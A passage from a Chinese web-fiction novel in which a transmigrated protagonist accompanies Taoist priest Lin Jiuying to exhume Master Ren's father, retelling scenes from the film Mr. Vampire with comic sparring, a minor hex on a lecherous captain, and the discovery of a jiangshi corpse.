里面是几样精致的小菜,有清淡的素炒时蔬,有香气扑鼻的卤味拼盘,还有一大盅热气腾腾的鸡丝粥,旁边甚至配了几样小巧的点心。
虽说都是房车厨房的现代产物,但摆盘用心,香味实在诱人。
文才的哈喇子差点又流下来,眼巴巴地看着,脚像生了根一样挪不动。
林九英也有些意外,没想到古德这手下如此周到,而且这宵夜的品相,一看就不是寻常乡野能做得出的。
他连忙道:“阿德,你这太客气了,来我这里还自带吃食……”
古德笑道:“走了远路,刚好让阿草随便弄了点,九哥也尝尝她的手艺。文才,别看了,拿碗筷过来,一起吃点儿。”
文才如蒙大赦,哎了一声,飞快地跑进厨房拿了碗筷出来。
四个人围着石桌坐下,就着清茶月色,吃起了宵夜。阿草的手艺自然没得说,连林九英都多吃了一碗粥,赞不绝口。
文才更是吃得头也不抬,差点把舌头吞下去。
吃完后,林九英看着还在咂嘴回味、试图跟阿草搭话的文才,没好气地挥挥手:
“行了行了,吃饱了就赶紧收拾干净,然后回去睡觉!别在这儿碍眼!”
文才这才恋恋不舍地收拾好碗筷,一步三回头地走了。
院子里又恢复了安静,只剩下古德、林九英和阿草。
林九英对古德道:
“阿德,今晚就在义庄歇下吧。西边那
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两间厢房是干净的,被褥也齐全。委屈你们将就一晚。明天晚上,我做东,咱们去镇上‘福满楼’好好喝一顿,算是给你接风洗尘,顺便感谢你今晚出手。”
他顿了顿,有些歉意地说,“不过明天白天我怕是不能陪你了,早就应了任家镇任老爷的托付,明日要上山为他父亲迁坟。这是早就定好的时辰,耽误不得。”
古德闻言,眉头轻轻一挑。迁坟?任家?这么巧?
他脑海里瞬间闪过一些熟悉的画面,蒸熟了的糯米饭,我老爸他怕火,还有那句经典的“我是阿威队长”……
他心中了然,脸上却不动声色,反而露出感兴趣的神色:
“哦?迁坟?九哥亲自出手,想必是大事。正好我明日也无甚要事,对风水墓葬之事也有些兴趣,不知方不方便,让我也跟着去见识见识九哥的手段?”
林九英见古德有兴趣,也很高兴。
他对自己在风水上的造诣颇有信心,能让古德这样的能人见识一下,也是件畅快事。
“那有什么不方便的!阿德你肯去指点指点,那是求之不得!明天一早,我们一同出发便是。”
事情说定,林九英便起身,亲自引着古德和阿草来到西厢房。
两间房相邻,都打扫得干干净净,床铺被褥虽然朴素,却散发着阳光晒过的味道。
“就是这里了,阿德你们早些休息。”林九英道。
古德点头,看向阿草:“阿草,你早点歇着。”
又对林九英道,“对了九哥,无心他说要在外面看着马车,顺便打坐调息,就不进来打扰了。”
林九英知道有些修行者确有古怪习惯,也不强求,只是道:“荒郊夜寒,要不要给他送床被子出去?”
“不用,他皮实得很,冻不着。”古德笑道。
林九英这才不再多言,道了声晚安,便转身回自己屋里去了。
古德站在厢房门口,看着义庄寂静的院落,远处那栋两层停尸房在月光下只是一个更浓重的黑影。
他嘴角微扬,明天,看来有好戏看了。
第269章 大早上的切磋
翌日清晨,天光未大亮,义庄的庭院还笼罩在一层薄纱般的雾气里。
青石板上凝结着细密的露珠,墙角那几丛夜来香在晨风中轻轻摇曳,散发出淡淡的、带着凉意的芬芳。
古德推开西厢房的门走出来,深深吸了口气,感觉精神清爽。
院子里已有动静。只见林九英穿着一身洗得发白的灰色短打,正在院子中央的空地上缓缓打着拳。
他打的是茅山派入门筑基的八卦掌,招式古朴扎实,动静相宜。
虽只是晨练,但他一招一式皆劲力内蕴,拳风带动衣袂,在静谧的晨间发出轻微的破空声。
朝阳的金色光线恰好越过院墙,斜斜地照在他身上,为他平添了几分修道者的出尘与武者的精悍。
听到开门的吱呀声,林九英缓缓收势,双手下压至丹田,长长吐出一口肉眼可见的白色气箭。
他转过头,看到是古德,眼中闪过一丝同道相见的欣然,眉毛习惯性地一挑,那张严肃的脸上难得露出点跃跃欲试的表情:
“阿德,起得挺早。看你这精神头,昨晚睡得不错?怎么样,离出发还有些时辰,有没有兴趣活动活动筋骨,搭搭手?”
古德看着林九英那副认真又带点跃跃欲试的表情,心里不由得暗笑。
切磋?
以他如今这被系统强化、又被《混元六九篇》推到超凡领域的体质,跟还处于“正常人类高手”范畴的林九英过招,那简直就是成年人陪幼儿园小朋友玩摔跤——纯属欺负人。
尤其是这才过去几天?
林九英还停留在上次在富贵镇切磋的印象里,觉得古德虽然法力高强、手段奇妙,但拳脚功夫和身体底子应该还是正常修行者的水平,顶多比自己年轻时强点。
他哪里想得到,眼前这位笑容灿烂的年轻人,内里已经是个能徒手掰弯铁条、奔跑快过奔马的“人形凶兽”了。
不过,看着林九英兴致勃勃的样子,古德也不好直接拒绝,而且他确实有点恶趣味,想看看这位向来沉稳的林九英,待会儿摸不清自己底细时会露出怎样精彩的表情。
他爽快地点点头,走到院子中央,与林九英相对而立:“好啊,九哥有兴致,我奉陪。正好也让九哥指点指点。”
见古德答应得爽快,林九英脸上笑意更浓,似乎找回了点当年在师门与师兄弟晨练较技的感觉。
他后退半步,双脚不丁不八站定,右手前引,左手护胸,摆出了一个标准的“请手”式,气度沉稳:“阿德,请。”
古德却没那么讲究,他随意地向前走了两步,在距离林九英六七尺处站定,甚至还嘿嘿坏笑了一下,提醒道:
“九哥,那你可小心了,我最近……力气可能稍微大了那么一点点。”
话音未落,他身形甚至没有明显的蓄力前兆,只是简简单单地右脚踏前半步,腰身随之一拧,右掌便平平地推了出去。
这一掌,名为“推窗望月”,是最基础的掌法起手式,在古德用来,更是连风声都未激起半分,看着轻飘飘、慢悠悠,仿佛不是比武,而是友人间的随意推让。
林九英起初见古德如此托大,连个起手式都不摆,心中还暗自摇头,觉得年轻人到底不够沉稳,或许法力高强便小觑了拳脚功夫。
他存了指点的念头,打算先用“云手”柔劲搭住古德手腕,顺势一带一引,让古德知难而退,再讲解其中关窍。
然而,当他的手掌甫一接触古德推来的手腕,脸色骤然剧变!
那触感……完全不对!
不像是搭上了血肉之躯,倒像是按住了一根裹着厚棉、正在高速冲撞而来的攻城锤!
一股他平生从未体验过的、蛮横到不讲道理的磅礴巨力,猛然顺着接触点轰然传来!
林九英心中警铃大作,毕生所学的卸力技巧瞬间催发到极致,手腕、手肘、肩膀如同精密的机括般连环旋转化劲,脚下更是踩出玄奥的步法,试图将这股力量导向身侧地面。
但,差距太大了!
“噔、噔、噔、噔!”
林九英只觉那股力量沉重如山,自己精妙的柔劲如同螳臂当车,仅仅化解了最表层的冲击,核心的巨力依旧推得他身不由己,脚下连退四大步!
每一步踏在青石板上,都发出沉闷的响声,留下清晰的湿脚印,直到后背抵住院中那
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棵老槐树的树干,才勉强彻底稳住身形。
整条右臂,从手腕到肩胛,都是一片酸麻,气血翻腾,半晌提不起力气。
他豁然抬头,看向数步外依旧站在原地、气息平稳、连衣角都没怎么动的古德,脸上写满了难以置信的震惊,甚至有一丝茫然:
“阿德!你……你这身力气?!怎么回事?!上次在富贵镇,你拳脚虽然也利落,但绝无这般……这般非人巨力!”
这简直颠覆了他的认知!
力量的增长,尤其是肉身力量,从来都是**工夫,配合药补和特殊练法,循序渐进。
哪有像古德这样,几天不见,就从“不错”跳到“恐怖”的?
这已经不是天赋异禀能解释的了!
古德早就料到他有此一问,嘿嘿一笑,脸上适时露出点“运气好”的腼腆,含湖道:
“九哥,纯属运气,纯属运气。前几日不是得了那炼体法门么?也是巧了,刚好摸到点门槛,有了点小小的突破,没想到力气也跟着涨了不少……让九哥见笑了。”
他把一切都推到“**突破”上,虽然这突破的幅度有点吓人。
林九英将信将疑,但修炼界奇功秘法无数,也偶有听闻某某人得了奇遇或**突破后实力暴涨的传说。
他甩了甩仍在发麻的手臂,苦笑着摇摇头,看着古德的眼神复杂无比,有惊叹,有羡慕,也有一丝被打击到的无奈:
“你这哪是‘涨了不少’……简直是脱胎换骨,判若两人。看来以后跟你切磋,我这把老骨头得更加小心才行,可经不起你几巴掌。”
话虽如此,他看向古德的目光却更加重视,心中对其评价又攀升到一个新的高度。
古德见好就收,赶紧转移话题。他抬头看了看天色,东边已泛起鱼肚白,金色的朝阳即将喷薄而出,山间的雾气开始缓缓消散。
“九哥,时辰看着不早了,我们什么时候动身上山?”
林九英也收敛心神,仰观天象,又掐指默算片刻,点头道:
“吉时将临,耽误不得。简单用完早饭,我们便出发。迁坟讲究时机,早一刻晚一刻都可能差之毫厘。”
第270章 见到了任发和任婷婷
两人正说着,阿草提着那个熟悉的、编工精美的食盒,从连接后院的小门走了进来。
她今天换了身更利落的深青色窄袖布衣,头发整齐地编成一条辫子,显得清爽干练。
食盒里是她早起在房车厨房准备的早饭:熬得浓香粘稠的小米粥,几碟自家腌的清脆小菜,还有一笼热气腾腾、喧软雪白的馒头。
食物的香气瞬间驱散了清晨的微寒,让人食指大动。
无心也跟在阿草身后走了进来,依旧沉默,只是对古德和林九英点头致意。
几人围坐在石桌旁,快速而安静地用完了早饭。
林九英起身回房,片刻后出来,已换上了那身半旧但浆洗得笔挺、纤尘不染的杏黄色道袍,头上端正地戴着八卦巾,脚踏十方鞋。
这一装扮,方才那位晨练的武者瞬间隐去,取而代之的是一位法相庄严、令人望之生敬的茅山道长。
秋生和文才也换上了比较正式的蓝色短褂,背着装有法器、符箓的褡裢,一左一右站在林九英身后,努力想摆出严肃认真的样子,只是那眼神不时乱瞟,显出卖相。
古德这边,依旧是昨日那身素色长衫,阿草换了身便于行动的浅绿色衣裙,无心则还是那身利落的短打。
三人跟随着林九英师徒,一行人离开义庄,朝着镇外北面的山坡走去。
清晨的乡间小路上行人稀少,偶尔有早起耕作的农人投来好奇的目光。
空气越来越好,路边的野草挂着露珠,远处的山林在晨雾中若隐若现。
走了约莫小半个时辰,来到一处山势平缓、林木葱茏的山坡脚下。
这里已经**了一小群人。
为首的是个身材微胖、穿着丝绸唐装、面色红润的中年男人,手里还拄着一根文明棍,正是任家镇的乡绅首富,任发任老爷。
他旁边站着一位穿着时髦天蓝色衣服、扎着麻花辫、容貌秀丽、身段婀娜的年轻女子,正是他那刚从省城回来的女儿,诸天大佬的妻子任婷婷。
任婷婷虽然年轻,但举止大方,眼神里带着城里姑娘特有的灵动和些许傲气。
还有一个男人格外显眼。
他穿着一身不太合身的褐色条纹西装,头发用发蜡梳得油光水滑,一丝不乱,鼻梁上架着一副圆框金丝眼镜,正围着任婷婷身边打转,脸上堆着谄媚的笑容,嘴里不停地说着什么,正是任家镇的保安队长阿威。
他试图模仿西洋绅士的派头,但那神态举止,总透着一股子滑稽和刻意。
古德的目光在这几人身上扫过,重点在阿威身上停了一瞬,心里觉得有点滑稽。
这家伙的长相,和之前在富贵镇遇到的那个有点蠢又有点怂的阿强完全不同,完全不像啊,但是电影里的确是同一个人演的。
不过仔细看那神态,那种自以为精明、实则外强中干的气质,倒又有几分神似。
他摇摇头,懒得深究这种巧合,也许是某种世界线的恶趣味,反正他今天来,主要就是“吃瓜看戏”,重温一下经典场面的。
任发看到林九英身后还跟着三个生面孔,而且气质迥异于常人,不由得露出询问的神色。
林九英上前一步,把早就想好的理由对任发解释道:
“任老爷,这三位都是修行有成的方外之人,古道长更是我的好友。今日迁坟事关重大,有他们几位在场护持,定能更加稳妥顺遂。”
他没把话说得太满,但“修行有成”、“护持”这些词,足以说明分量。
任发一听,脸上立刻堆起笑容,对着古德三人拱手道:
“原来是几位大师大驾光临!失敬失敬!有劳几位费心了!待会儿法事完毕,还请务必赏光到寒舍用顿便饭!”
他生意人出身,最懂得看人下菜碟,林九英都如此推崇的人,他自然不敢怠慢。
古德也客气地回礼:
“任老爷客气了,我们随九哥过来看看,若有需要,自当略尽绵力。”
态度不卑不亢,既给了任发面子
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,也维持了自身的超然。
简单的寒暄间,众人目光不免交汇。
那阿威见任婷婷对他的喋喋不休反应平淡,甚至隐隐有些不耐烦,自觉无趣,便开始东张西望起来。
这一望,目光就黏在了安静站在古德侧后方半步的阿草身上。
晨光熹微中,阿草未施粉黛,一身素净青衣,乌发编辫,身姿挺拔如初夏新竹。
她肌肤晶莹如玉,眉眼清澈如山涧清泉,周身散发着一股远离尘嚣的灵秀静谧之气,与任婷婷那种被精致衣物和洋气打扮衬托出的娇艳之美截然不同,更显天然去雕饰,恍若山野精灵偶然驻足人间。
阿威的眼睛瞬间瞪得熘圆,嘴巴微张,喉结不自觉地滚动了一下,那副魂飞天外、垂涎三尺的猪哥相,毫不掩饰地挂在了脸上,比刚才对着任婷婷时还要露骨三分。
不过他很快一个激灵,想起任婷婷还在旁边,自己“痴情专一”的人设不能崩,赶紧用力眨了眨眼,强迫自己扭过头,还故作严肃地清了清嗓子。
然而,那眼角的余光,却像被磁石吸住的铁屑,不受控制地、一下一下地往阿草那边飘,目光中的贪婪与淫邪,虽然隐蔽了许多,却依旧令人作呕。
阿草身为草木精灵,灵觉何等敏锐,对气机的感应更是远超常人。
这道黏腻恶心的视线一落在身上,她立刻便察觉了。
她眉头几不可察地微微一蹙,眸中闪过一丝厌恶,如同看到脏东西。
她背在身后的右手,食指与中指悄然并拢,指尖一缕微不可见的淡青色灵光一闪而逝,没入脚下泥土。
阿威对此毫无所觉。
他正亦步亦趋地跟在任发身边,一边盘算着待会儿怎么再找机会跟任婷婷搭话,一边心思还飘在阿草那惊鸿一瞥的容颜上。
就在他抬脚准备迈上一级略高的土坎时——
“哎幼我滴亲娘哎!”
阿威只觉得右脚腕像是被什么东西突然死死缠住,猛地一拉!
第271章 法式葬礼名场面
他惊呼一声,整个人瞬间失去平衡,像个被突然抽掉底座的木头架子,脸朝下结结实实地扑倒在地!
这还不算完,山坡的倾斜加上他前冲的惯性,让他如同一个笨拙的肉球,骨碌碌顺着小坡又滚了两圈,才四仰八叉地停下。
只见他早上精心梳理的油头散了,金丝眼镜歪斜到一边,镜片都裂了条缝,那身崭新的褐色西装沾满了泥浆草屑,脸上也擦破了一块皮,模样要多狼狈有多狼狈,哪还有半分保安队长的威风。
“噗……咳咳!”
“哈哈哈!报应!”
旁边的秋生和文才本来就看这个整天围着任婷婷转、还对他们师父不太恭敬的阿威不顺眼,此刻见他平地摔跤还滚成这般模样,哪里还忍得住,顿时笑出了声。
文才更是直接指着阿威,笑得前仰后合。
任发脸色一黑,回头呵斥道:“阿威!你搞什么鬼!****躁躁,成何体统!还不快起来!”
他觉得在几位大师面前,自家亲戚如此丢脸,实在有失颜面。
任婷婷也被这突如其来的变故吓了一跳,随即看到阿威的惨状,更是嫌弃地皱紧了眉头,提着裙摆往旁边躲开好几步,仿佛怕沾上他身上的晦气。
林九英脚步一顿,目光若有所思地扫过神色自若的阿草。
阿草感受到他的视线,抬起小脸,回给他一个极其乖巧、无辜又甜美的笑容,仿佛在说“不关我事哦”。
林九英嘴角微微抽动了一下,无奈地摇了摇头,终究没说什么。
他岂能看不出那瞬间微弱的草木灵气波动?
只是阿威自找的,小惩大诫罢了。
古德自然也注意到了这小插曲,但他脸上表情都没变一下,更没有半点责怪阿草的意思。
阿威那种赤裸裸充满淫邪的目光,莫说是阿草,换做是他,恐怕出手会更直接些。
阿草只是让他摔一跤,丢个脸,已经是非常克制和有分寸的提醒了。
阿威在众人或嘲笑或嫌弃的目光中,满脸通红、手忙脚乱地爬了起来,狼狈不堪地拍打身上的泥土,扶正碎裂的眼镜,只觉得脸上火辣辣的,比摔伤的地方还疼。
这下他彻底老实了,再也不敢用那种眼神乱瞟,低着脑袋跟在任发身后,心里又是懊恼又是疑惑:真是活见鬼了!这平地怎么会有绊脚索?还专绊我?
这段插曲过后,队伍气氛有些微妙。众人不再多言,默默加快了脚步,终于来到了位于半山腰一处背山面水、视野开阔的缓坡上的任老太爷墓前。
墓穴修建得颇为气派,青石垒砌的坟包高大规整,墓碑是上好的青石,镌刻着“任公威勇之墓”几个大字,漆色犹新。
碑前设有石制供桌。
几个请来的壮丁正在任府管家的指挥下,将带来的三牲祭品、香烛纸马等物一一摆放整齐,空气中开始弥漫开线香和食物的混合气味,气氛不知不觉变得肃穆而凝重。
众人一一上香后,林九英查看起墓穴,任发对着林九英自豪道:“九叔,当年看风水说这块坟地很难找的,是一个好穴。”
林正英点了点头道:“嗯,不错,这快穴叫蜻蜓点水穴,穴长三丈四,只有四尺可用。阔一丈三只有三尺有用。所以棺材不可以平葬,一定要法葬。”
任发听到后,举起大拇指。
“了不起,九叔。”
文才大概是觉得气氛太沉闷,又或许是刚才笑阿威让他有些忘形,他凑到林九英身边发问,声音不大,但在突然安静下来的环境中,却显得格外清晰:
“师父,什么叫法葬,是不是法国式葬礼?听说洋人葬礼
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挺讲究排场。”
林九英:“……”
他正在捻须沉吟、组织下一步语言,准备在古德面前展现一下自己堪舆点穴的深厚功力。
被文才这石破天惊的一问,差点一口气没上来,呛得连连咳嗽,老脸瞬间涨得通红,随即又由红转黑,额头上青筋都隐隐跳动。
古德以绝强的毅力绷住了脸,但肩膀却控制不住地微微抖动,赶紧抬起拳头抵在唇边,假装咳嗽掩饰过去。
他身后的阿草也忍俊不禁,低下头,肩膀轻轻耸动。
无心则是一脸茫然,显然没理解“法式葬礼”这个梗的笑点在哪里。
任发和任婷婷等人则是一脸错愕。
林九英此刻杀了文才的心都有!
他狠狠瞪向这个成事不足败事有余的蠢徒弟,那眼神里的杀气几乎凝成实质,回去就要文才将《太上洞玄灵宝无量度人上品妙经》翻来覆去罚抄了一百遍!
不,抄《茅山治邪秘本》!抄到这小子手断!
他深吸了好几口气,强压下立刻将文才踹下山坡的冲动,决定不再在古德面前进行任何显摆和讲解了。
跟这蠢货在一起,说得越多,丢人现眼的机会就越多!
还是赶紧办正事,结束这糟心的一切!
他不再看任何人,猛地转身,面向墓穴和那几个手持工具待命的壮丁,用比平时更洪亮、更严肃几分的嗓音,沉声喝道:
“吉时已到!闲杂退避!松绑绳,起棺钉!”
紧接着,他再次转身,面对任发、任婷婷、阿威以及所有在场之人,神色庄重肃穆,朗声宣告,声音在山谷间隐隐回荡:
“各位,今日乃任公威勇重见天日之时。凡年龄三十六、二十二、三十五、四十八,属相为鸡、为牛者,一律转身回避!莫要冲撞!”
第272章 文才:加钱好啊
林九英那声“一律转身回避”在山坡间回荡,带着不容置疑的肃穆。
几个年龄或属相犯冲的帮工和任家下人连忙背过身去,低下头。
一时间,墓前只剩下林九英、古德几人,以及任发父女和阿威。
现场安静得只剩下风吹过树梢的沙沙声,还有远处隐约的鸟鸣。
所有人的目光都聚焦在那具已经露出土面、沾满暗色泥土的厚重棺木上。
“起棺!”林九英沉声喝道。
几个身强力壮的汉子深吸一口气,分别站定位置,将撬棍插入棺盖缝隙,一起发力。
“嘎吱……嘎吱……”
绳索被解开,沉重的棺钉在铁器与木头的摩擦声中,被一根根费力地起出。
空气中弥漫的线香气味,似乎也被一股渐渐浓郁的、难以言喻的土腥与陈旧气息所压制。
“起——!”
随着壮丁们一声低喝,合力抬杠,那厚重的黑漆棺盖被缓缓撬开了一道缝隙。
“嘎吱……嘎吱……”
令人牙酸的木头摩擦声响起,封存了二十年的棺材盖被缓缓撬开一条缝隙。
就在这一刹那,一股肉眼几乎看不见、但感知上异常清晰的阴寒气息,如同冰窖里漏出的冷风,猛地从缝隙中窜出!
这气息冰冷刺骨,带着浓烈的腐朽与一种令人心悸的死寂意味,瞬间扩散开来,让离得最近的几个壮丁激灵灵打了个寒颤,脸色发白地后退了几步。
与此同时,原本晴朗的天空,一片不知从何处飘来的厚重乌云,恰好遮住了刚刚升起的朝阳,将这片山坡笼罩在了一片突兀的阴影之下。
林间原本清脆的鸟鸣声戛然而止,取而代之的是一阵扑棱棱的慌乱振翅声,无数宿鸟被这股阴邪气息惊动,从四面八方的树丛中仓皇飞起,尖叫着逃向远处,更添了几分不祥与诡谲。
林九英脸色骤变,一直沉稳的目光瞬间锐利如电,紧盯着那敞开的棺材缝隙,心中暗叫一声:
“不好!尸气凝而不散,天象骤变,惊鸟飞散……这是大凶之兆!任老太爷的尸身,果然出了问题!”
棺材被完全打开。任发在任婷婷的搀扶下,战战兢兢地走上前,任婷婷也紧张地跟在后面。两人探头朝棺内只看了一眼,任发便扑通一声跪倒在地,带着哭腔喊道:
“爹!惊动了您老人家,是孩儿不孝啊!”
任婷婷也慌忙跪下,哽咽道:“爷爷……”
古德带着无心和阿草,也缓步走到棺材旁,朝里面瞥了一眼。
只见棺内躺着一具身穿清朝官服的尸体,虽然过去了二十年,但尸身竟未完全腐烂,只是皮肤呈现出一种诡异的青黑色,紧贴在骨骼上,十指指甲又尖又长,呈现出乌黑之色。
面部肌肉干瘪僵硬,嘴巴微微张开,隐约能看到里面发黑的牙齿。
最令人不安的是尸体周围缭绕着的那一层淡淡灰黑色尸气,正是刚才喷涌而出的源头。
他眼中闪过一丝了然,微微点了点头。
果然是僵尸,而且看这尸气的浓度和尸身的僵硬程度,大概在“跳僵”的层次,行动力不会太强,但力气肯定不小,而且指甲带毒。
不过,让他略感兴趣的是,这尸气“凝而不发”,在棺中积聚了二十年,直到开棺才泄出,说明下葬时可能被人动过手脚,或者这墓穴本身就有问题,形成了某种类似养尸的格局。
他抬眼,与面色凝重的林九英对视了一眼。林九英几不可察地微微摇了摇头,眼神示意古德暂时不要声张。
古德会意,现在点破,除了引起恐慌,让任发更加难堪和固执,并无益处。
这时,任发已经起身,擦了擦眼角并不存在的眼泪,走到林九英面前,脸上带着商人特有的精明和一丝不易察觉的忐忑,问道:
“九叔,您看……这个墓穴,还能不能再用了?”
林九英面色肃然,指着墓穴周围的地势,沉声道:
“任老爷,当初这墓穴,点的是‘蜻蜓点水’穴,本是上佳。但下葬时,你们却用了洋灰(水泥)盖了整个坟头。
蜻蜓点水穴,贵在一个‘巧’字,点一次,福泽后人。绝不可一点再点。这个穴,已经废了。灵气全无,反聚阴煞。””
任发一听,脸上露出失望和焦急的神色:“那……那可怎么办才好?九叔,您可得给我想个办法啊!”
林九英看着任发,又看了看棺材里那具不腐的尸身,神色严肃,字字清晰地说道:“任老爷,
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为今之计,最稳妥、最一劳永逸的办法,就是——就地火化。”
“火化?!”
任发一听,立刻把头摇得像拨浪鼓,声音也提高了八度,连连摆手。
“不行不行!绝对不行!先父生前最怕的就是火了!我身为人子,怎能让他死后还遭火烧之苦?这太不孝了!九叔,这法子万万不可,您再想想别的办法!”
他的态度异常坚决,甚至带上了一点对林九英提议的不满。
古德在一旁看着,心里暗自摇头。
果然是好言难劝该死的鬼。这任发难道是瞎的吗?
他爹埋下去二十年,尸体没化成白骨,反而成了这副青面獠牙的鬼样子,甚至还引得鸟兽惊飞、天象变化,这正常吗?
稍微有点常识的人都该知道不对劲了。
要么是他真被孝道和父亲怕火这个理由蒙住了眼,要么……就是他看出来了,但为了所谓的面子和“保全父亲完整遗骸”的名声,宁愿选择无视潜在的危险。
毕竟,大户人家讲究入土为安、遗体完整,若传出去任老太爷被火化了,他任发的面子往哪儿搁?
林九英显然也明白任发的顾虑,但他职责所在,必须把利害说清楚。
他上前一步,目光炯炯地盯着任发,语气加重了几分:
“任老爷!此事非同小可!不火化,日后恐怕会有**烦!这麻烦,可能会危及你任家上下!”
任发被林九英严肃的眼神看得有些心虚,但商人的固执和对面子的看重还是占了上风。
他避开林九英的目光,坚持道:
“不行就是不行!九叔,你再想想别的办法!钱不是问题!只要能妥善安置先父,我愿意多加钱!”
他试图用金钱来解决问题。
一直缩在旁边、耳朵却竖得老高的文才,一听到“加钱”两个字,眼睛顿时亮了,仿佛看到了白花花的大洋在向他招手。
他完全没注意到师父越来越难看的脸色和现场诡异的气氛,脑子一热,脱口而出:
“加钱好啊!任老爷您放心,我师父本事大着呢,肯定有办法!不就是个没烂的尸体嘛,保管给您处理得妥妥当当……”
他这话说得好像林九英是有多见钱眼开。
第273章 时代不一样,想法不一样
古德一看这蠢货又跳出来秀下限,眉头一皱。
他不动声色,垂在身侧的右手微微抬起,食指与中指并拢,暗中掐了个极简单的禁言诀,对着文才的方向,嘴唇微动,无声地念了句“禁”。
正说得唾沫横飞的文才,突然感觉喉咙像是被一只无形的手扼住,张着嘴,却发不出任何声音,只有“嗬嗬”的气流声。
他愣了一下,随即惊恐地捂住自己的脖子,又蹦又跳,指着自己的嘴巴,对着林九英“啊啊”直叫,那模样滑稽又狼狈。
秋生吓了一跳,不知道文才又搞什么鬼,任发等人也是一脸茫然。
林九英先是愣了一下,随即瞥见古德收回去的手指和脸上那丝无奈的笑意,立刻明白了怎么回事。
他心里对古德这及时的一手又是感激又是惭愧。
感激的是古德阻止了文才继续丢人现眼、乱接因果;惭愧的是自己教徒无方,在好友和外人面前一再出丑。
但现在文才话已出口,虽然被禁言,但其意思已经表达出来了,他林九英的徒弟,代表了他林九英,接下了“加钱想办法”的茬。
林九英心中暗叹,知道这事自己已被架了上去,因果已然种下。
他深吸一口气,压下火气,狠狠瞪了还在原地蹦跶的文才一眼,然后转向任发,脸色不太好看,但语气恢复了平静:
“任老爷,既然你执意不肯火化,那……就先暂时将任老太爷的棺木,寄存在我的义庄吧。我会尽快为他另寻一处吉穴,让他早日入土为安。至于费用……按规矩来便是。”
他心中真正的打算,其实是先将棺材弄回自己的地盘,再做打算。
在义庄,总比在这荒山野岭好控制。
一直插不上话、急于表现存在感的阿威队长,此刻终于找到了机会,连忙挺起胸膛,扯着嗓子喊道:
“对对对!九叔说得对!快,你们几个,还愣着干什么?赶紧把棺材盖好,抬起来!小心点,抬到义庄去!表姨夫,您放心,有我和九叔在,保证老太爷平平安安!”
他指挥着那几个壮丁,仿佛自己才是现场的总指挥。
任发见林九英给了台阶下,脸色稍霁,连连点头:
“那就麻烦九叔了,一切费用,任某绝不吝啬。”
一番忙碌后,任老太爷的棺材被重新盖上,用新绳索绑好,由壮丁们抬着,缓缓下山。
任发和任婷婷等人也心事重重地跟着离去。
山坡上,很快便只剩下林九英师徒、古德三人,以及那个被禁言后蔫头耷脑的文才。
林九英看着任发等人远去的背影,又看了看天色,对秋生和文才吩咐道:
“秋生,文才,你们俩留下,在这墓穴周围,点一个‘梅花香阵’。再去这山坡附近所有的坟头,无论有主无主,都上一炷香。记住,香烧成什么样子,回来一五一十告诉我,不许遗漏!”
秋生点头应下,文才指着自己嘴巴,眼巴巴地看着林九英。
林九英没好气地挥挥手:“你这过会儿就好了!赶紧干活去!”
文才这才如蒙大赦,感觉喉咙一松,又能说话了,也不敢抱怨,连忙跟着秋生去准备香烛。
林九英转向古德,脸上带着歉意和疲惫:“阿德,我们先回义庄吧。这里让他们处理。”
古德点了点头,离开前,他看了一眼正在忙碌的秋生,想起电影里这货因为给女鬼上香惹出的麻烦,随口提醒了一句:
“秋生,在这里,管好自己的嘴,也管好自己的眼睛,别乱说话,也别乱看。”
古德也是看在秋生是林九英的徒弟份上,提了一嘴,至于他听不听就是秋生自己的事情了。
要是不听,等秋生受了教训后,再去把那女鬼抓来送下去超度。
秋生正忙活着,闻言抬起头,一脸茫然地挠了挠后脑勺:“啊?古师叔,什么意思啊?”
古德却没再解释,已经转身跟着林九英往山下走去。
下山的路上,气氛比来时沉重了许多。
林九英一直眉头紧锁,似乎在思考着什么。
古德走在林九英身边,问道:“九哥,回去之后,你打算怎么处理那具棺材?依我看,那任威勇,尸气已固,随时可能尸变。”
按照古德的想法,最简单直接,回去后找个没人的地方,一道阳五雷或者用些破邪手段,直接把尸体内的尸气根源拔除,让它变成一具真正的枯骨,一了百了。
林九英闻言,却是眉头紧锁,叹了口气,摇头道:
“没那么简单。我打算回去后,先用镇尸符将棺材镇住,再在停尸房周围布置些禁制,确保万无一失。”
“镇尸符?”
古德有些不解,“为何如此麻烦?直接从根本上解决问题不是更好?免得夜长梦多。”
林九英闻言,停下脚步,看了古德一眼,脸上露出一丝苦笑,他叹了口气,解释道:
“阿德,你的想法干脆利落,若是寻常情况,自然是最好的办法。但这次不行。”
他顿了顿,继续道:
“任发是亲眼见
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过他父亲尸身的。虽然那样子不对劲,但在他眼里,那还是他爹‘完整’的遗骸。
如果我们现在直接拔除尸气,任老太爷的尸身会在极短时间内失去那股维持不腐的阴气支撑,迅速干枯、萎缩,最后化为一具看不出原貌的枯骨。这过程很快,瞒不住人。”
“到时候,任发肯定还要来查看,或者下葬前还要再看一眼。若是看到一副枯骨,他会怎么想?”
林九英摇摇头。
“他会认为我林九英贪图他家的钱财,偷梁换柱,把他父亲的遗骸给掉包了,或者用了什么邪术毁了尸身。
哪怕我跟他解释尸变、拔除尸气,他也未必全信,甚至会觉得我是在推卸责任、掩饰罪行。”
“任发是任家镇的首富,有钱有势,更要面子。从他今天坚持不肯火化就能看出来,他把‘保全父亲遗体’看得极重,这关乎他的孝子名声和任家的脸面。
如果他认为我毁了他父亲的遗骸,就算明面上不敢对我这个道士怎么样,但暗地里使绊子、散布谣言,或者鼓动镇民排斥义庄,总是能做到的。
我虽不怕他,但在这任家镇还要生活,还要接活儿养徒弟,没必要平白惹上这种麻烦。”
林九英又叹了口气:
“而且,文才那个蠢货,刚才那句‘加钱好’等于是替我接下了这单活儿,承诺了‘有办法’。我若现在就用激烈手段处理掉,在任发看来,就是收钱不办事,甚至毁尸灭迹。
所以,我只能先带回去,贴上镇尸符,暂时稳住。对外就说需要时间寻找吉穴、化解残留的阴气。
若不出意外,等过段时间,风声过去了,再找个机会妥善处理掉,或者等任发自己慢慢接受现实。就算最后还是要用强,也得有个过程,有个说得过去的理由。”
古德听了,若有所思地点了点头。
他刚才确实是站在自己一个现代人的思维角度考虑问题,追求最高效直接的解决方案。
但林九英考虑的,是民国乡绅社会的复杂人情、面子观念、雇主心理,以及他自己在当地立足的长远之计。
这其中的弯弯绕绕,确实不是光有力量就能简单处理的。
文才那个猪队友,更是添了一大把乱。
“明白了,九哥。”古德表示理解,“那就按你的章程来。需要帮忙的话,随时开口。”
古德理解了林九英的顾虑,不再多言。
这就是传统修行者在世俗中行事的掣肘,需要考虑的远不止妖魔鬼怪本身。
第274章 热心的无心
回到义庄,安置好棺材,已是下午。
林九英立刻着手在停尸房内外布置。
